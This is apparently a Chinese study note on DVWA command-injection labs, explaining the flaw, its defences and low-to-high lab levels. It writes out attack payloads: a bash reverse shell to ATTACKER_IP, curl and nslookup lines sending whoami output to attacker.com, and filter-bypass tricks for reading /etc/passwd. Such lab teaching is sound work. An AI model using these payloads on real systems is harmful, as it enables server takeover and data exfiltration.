DVWA靶场练习(一)——Command Injection
声明:本笔记仅供学习与参考,所有测试均在靶场环境中进行。
一、Command Injection漏洞解析
1.CommandInjection(OS命令注入,CWE-78) 概念
应用程序将不可信输入拼接到操作系统命令中,未中和或错误中和了可能改变命令语义的特殊元素,导致攻击者能在服务器上以Web进程权限执行任意系统命令。
2.漏洞成因
(1)应用调用了能执行系统命令的函数或接口,如PHP的system、exec、shell_exec、passthru、反引号,Python的os.system、subprocess且shell=True,Java的Runtime.exec拼接字符串等。
(2)用户输入被原样拼进命令字符串,如system("ping-c4".$ip),输入8.8.8.8;id后Shell把;当命令分隔符,id被额外执行。
(3)根源是Shell会把;、&&、|、$()、反引号等解释为命令分隔或命令替换;若用参数数组且不经过Shell,这些元字符只是普通字符,注入面会大幅缩小。
(4)另有参数注入变体,攻击者不插新命令,而是塞入--output、-oProxyCommand等参数改变git、curl、ssh行为。
3.漏洞危害
命令注入被利用后,攻击者权限通常就是Web应用进程权限,如www-data、apache、nobody,部署不当也可能是root或SYSTEM;可任意文件读写,读源码配置密码文件,写WebShell;可反弹Shell获得交互控制;可以受害服务器为跳板横向移动内网;可关闭防火墙、杀毒软件、日志服务;权限允许时可完全接管服务器;网络边界设备如防火墙、VPN、安全管理平台被命令注入打穿后危害更大,可篡改安全策略、关闭检测规则、长期潜伏。
4.防御措施
(1)优先不经过Shell,如Python用subprocess.run(["ping","-c","4",ip],shell=False),Java用ProcessBuilder传参数列表,避免拼接字符串交给Shell。
(2)必须拼接时做白名单校验而非黑名单过滤,如IP用正则^\d{1,3}(.\d{1,3}){3}$,端口只允许纯数字且范围合法。
(3)Web服务不要以root、SYSTEM运行,用低权限账户配合容器沙箱限制影响。
(4)严格出站防火墙阻止反弹Shell、DNS外带等回连。
(5)WAF和运行时监控可拦截常见元字符和已知命令,并监控Web进程派生bash、cmd.exe、powershell等异常行为,但只能作辅助层。
5.攻击方法
(1)拼接符号:Linux/Unix有;顺序执行无论前面成败、&&前面成功才执行后面、||前面失败才执行后面、|管道把A输出给B、&放后台、换行分隔命令、$()或反引号做命令替换;Windows CMD主要支持&、&&、||、|,PowerShell还支持;、$()。
(2)探测方式:有回显如;id、|whoami结果直接出现在响应;时间盲注如;sleep${IFS}5或|ping-c5 127.0.0.1看响应是否变慢;带外注入如nslookup${IFS}$(whoami).attacker.com或curl${IFS}http://attacker.com/$(whoami)再从DNS或HTTP日志外带结果。
(3)绕过过滤:空格可用$IFS、${IFS}、Tab的%09、输入重定向<、大括号展开{cat,/etc/passwd};关键字黑名单可用单双引号拆分如c'a't、反斜杠如c\at、变量拼接如a=c;b=at;$a$b、通配符如/bin/c?t或/bin/ca*、Windows插入符如who^ami;符号过滤可用换行%0a代替;,用${PATH:0:1}或${HOME:0:1}得到/,也可先把payload写入文件再执行。
(4)反弹Shell:拿到命令执行后常尝试交互控制,如bash反弹bash-i>&/dev/tcp/ATTACKER_IP/PORT0>&1,Python反弹或Windows PowerShell反弹;这些绕过有效说明黑名单不可靠,防御应以白名单和不经过Shell为主。
二、靶场练习
1.low级
进入页面看到的黑丝一个执行ping命令的窗口,分析源代码,发现他是将target变量放入shell_exec()执行ping命令,没有任何过滤。
先输入“127.0.0.1”进行测试

然后输入“127.0.0.1&&ipconfig”,查看返回数据。

2.medium级
分析源代码,相比上一级多了两种黑名单过滤,“&&”和“;”,但我们仍然可以使用别的符号进行绕过。

3.high级
分析源代码,这次做了更多的黑名单过滤,仔细观察会找到“| ”后面有一个空格,可以尝试去掉空格能否绕过。

三、总结
命令注入本质是确认用户输入进入系统命令后,用Shell元字符改变命令结构。先找可控参数和回显点,再用分号、管道、逻辑与、逻辑或、后台符、命令替换、换行符追加命令;被过滤就换未过滤符号,或用URL编码、$IFS替空格、引号反斜杠拆关键字、通配符变量拼接绕过;Linux试whoami/id/uname/cat/etc/passwd,Windows试whoami/dir/ipconfig/netuser;无回显用sleep时间判断或curl/nc外带或写Web目录;用Burp抓包改包和编码,先读源码确认过滤再选payload;白名单拆分重组IP的防御无法靠注入绕过,只用于学防御。

浙公网安备 33010602011771号